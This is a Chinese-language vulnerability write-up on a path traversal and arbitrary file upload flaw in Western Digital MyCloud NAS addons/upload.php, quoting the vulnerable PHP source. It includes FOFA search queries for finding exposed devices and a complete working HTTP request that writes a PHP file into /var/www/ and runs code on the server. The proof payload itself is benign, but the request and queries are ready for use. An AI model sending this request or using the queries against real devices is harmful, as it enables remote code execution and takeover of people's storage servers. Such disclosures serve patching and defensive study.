西部数码 NAS addons/upload.php 任意文件上传漏洞


漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS addons/upload.php中存在文件上传漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 /addons/upload.php 其业务实现逻辑如下

<?php
//if(!isset($_REQUEST['name'])) throw new Exception('Name required');
//if(!preg_match('/^[-a-z0-9_][-a-z0-9_.]*$/i', $_REQUEST['name'])) throw new Exception('Name error');
//
//if(!isset($_REQUEST['index'])) throw new Exception('Index required');
//if(!preg_match('/^[0-9]+$/', $_REQUEST['index'])) throw new Exception('Index error');
//
//if(!isset($_FILES['file'])) throw new Exception('Upload required');
//if($_FILES['file']['error'] != 0) throw new Exception('Upload error');

$path = str_replace('//','/',$_REQUEST['folder']);
$filename = str_replace('\\','',$_REQUEST['name']);
$target =  $path . $filename . '-' . $_REQUEST['index'];

//$target =  $_REQUEST['folder'] . $_REQUEST['name'] . '-' . $_REQUEST['index'];

move_uploaded_file($_FILES['file']['tmp_name'], $target);

//$handle = fopen("/tmp/debug.txt", "w+");
//fwrite($handle, $_FILES['file']['tmp_name']); 
//fwrite($handle, "\n"); 
//fwrite($handle, $target); 
//fclose($handle); 

// Might execute too quickly.
sleep(1);

?>

三个参数均未过滤或校验直接参与文件上传保存文件路径操作,形成目录遍历+任意文件上传漏洞,允许攻击者可控文件路径及内容。

漏洞复现

POST /web/addons/upload.php HTTP/1.1
Host: west.nas.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="folder"

/../../../../../../../../var/www/
------WebKitFormBoundary
Content-Disposition: form-data; name="name"

1
------WebKitFormBoundary
Content-Disposition: form-data; name="index"

2.php
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.png"

<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary--

访问上传文件 1-2.php

成功执行上传文件里的代码


手机扫码阅读

金和OA GetOtherFileName.aspx SQL注入漏洞

金和OA GetDictionary.aspx SQL注入漏洞

评 论